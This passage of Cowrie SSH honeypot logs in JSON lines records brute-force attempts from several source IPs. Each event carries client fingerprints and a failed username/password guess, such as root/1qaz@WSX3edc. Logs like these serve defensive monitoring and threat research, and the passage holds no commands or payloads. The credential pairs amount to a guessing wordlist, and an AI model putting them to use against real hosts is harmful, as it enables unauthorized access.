{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:15.921201Z","src_ip":"162.240.75.182","session":"96b7b9c71dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:16.010067Z","src_ip":"162.240.75.182","session":"96b7b9c71dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:16.249724Z","src_ip":"45.156.87.253","session":"84739e9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RWA#S3cur3$P@ss","message":"login attempt [root/RWA#S3cur3$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:16.277925Z","src_ip":"162.240.75.182","session":"96b7b9c71dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59038,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b1487981b9","protocol":"ssh","message":"New connection: 45.156.87.253:59038 (10.17.0.5:22) [session: 36b1487981b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:17.831960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:17.834128Z","src_ip":"45.156.87.253","session":"36b1487981b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:17.955164Z","src_ip":"45.156.87.253","session":"36b1487981b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:18.212457Z","src_ip":"45.156.87.253","session":"36b1487981b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:18.250527Z","src_ip":"162.240.75.182","session":"96b7b9c71dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":50560,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b0dd188ebc5","protocol":"ssh","message":"New connection: 89.223.69.22:50560 (10.17.0.5:22) [session: 1b0dd188ebc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:18.490326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:18.494104Z","src_ip":"89.223.69.22","session":"1b0dd188ebc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:18.604140Z","src_ip":"89.223.69.22","session":"1b0dd188ebc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rtyfgh","message":"login attempt [root/rtyfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:18.930721Z","src_ip":"89.223.69.22","session":"1b0dd188ebc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:19.294035Z","src_ip":"45.156.87.253","session":"36b1487981b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:20.043624Z","src_ip":"89.223.69.22","session":"1b0dd188ebc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47730,"dst_ip":"10.17.0.5","dst_port":22,"session":"8657414b4ff3","protocol":"ssh","message":"New connection: 45.156.87.253:47730 (10.17.0.5:22) [session: 8657414b4ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:20.967024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:20.970112Z","src_ip":"45.156.87.253","session":"8657414b4ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:21.050842Z","src_ip":"45.156.87.253","session":"8657414b4ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:21.294677Z","src_ip":"45.156.87.253","session":"8657414b4ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:22.378401Z","src_ip":"45.156.87.253","session":"8657414b4ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47750,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d4b04617e0b","protocol":"ssh","message":"New connection: 45.156.87.253:47750 (10.17.0.5:22) [session: 5d4b04617e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:23.974697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:23.978344Z","src_ip":"45.156.87.253","session":"5d4b04617e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:24.060616Z","src_ip":"45.156.87.253","session":"5d4b04617e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:24.301555Z","src_ip":"45.156.87.253","session":"5d4b04617e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:25.384524Z","src_ip":"45.156.87.253","session":"5d4b04617e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47772,"dst_ip":"10.17.0.5","dst_port":22,"session":"187842d2fe0f","protocol":"ssh","message":"New connection: 45.156.87.253:47772 (10.17.0.5:22) [session: 187842d2fe0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:27.052901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:27.056738Z","src_ip":"45.156.87.253","session":"187842d2fe0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:27.137984Z","src_ip":"45.156.87.253","session":"187842d2fe0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"1234","message":"login attempt [nobody/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:27.378863Z","src_ip":"45.156.87.253","session":"187842d2fe0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:28.461493Z","src_ip":"45.156.87.253","session":"187842d2fe0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54698,"dst_ip":"10.17.0.5","dst_port":22,"session":"044fe9294516","protocol":"ssh","message":"New connection: 45.156.87.253:54698 (10.17.0.5:22) [session: 044fe9294516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:30.186976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:30.194259Z","src_ip":"45.156.87.253","session":"044fe9294516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:30.275971Z","src_ip":"45.156.87.253","session":"044fe9294516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:30.521642Z","src_ip":"45.156.87.253","session":"044fe9294516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:31.605566Z","src_ip":"45.156.87.253","session":"044fe9294516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54708,"dst_ip":"10.17.0.5","dst_port":22,"session":"94047f2d730f","protocol":"ssh","message":"New connection: 45.156.87.253:54708 (10.17.0.5:22) [session: 94047f2d730f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:33.289140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:33.292071Z","src_ip":"45.156.87.253","session":"94047f2d730f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:33.372188Z","src_ip":"45.156.87.253","session":"94047f2d730f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:33.613739Z","src_ip":"45.156.87.253","session":"94047f2d730f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":46942,"dst_ip":"10.17.0.5","dst_port":22,"session":"826e396b24e4","protocol":"ssh","message":"New connection: 91.92.40.11:46942 (10.17.0.5:22) [session: 826e396b24e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:33.992626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:04:34.111444Z","src_ip":"91.92.40.11","session":"826e396b24e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes25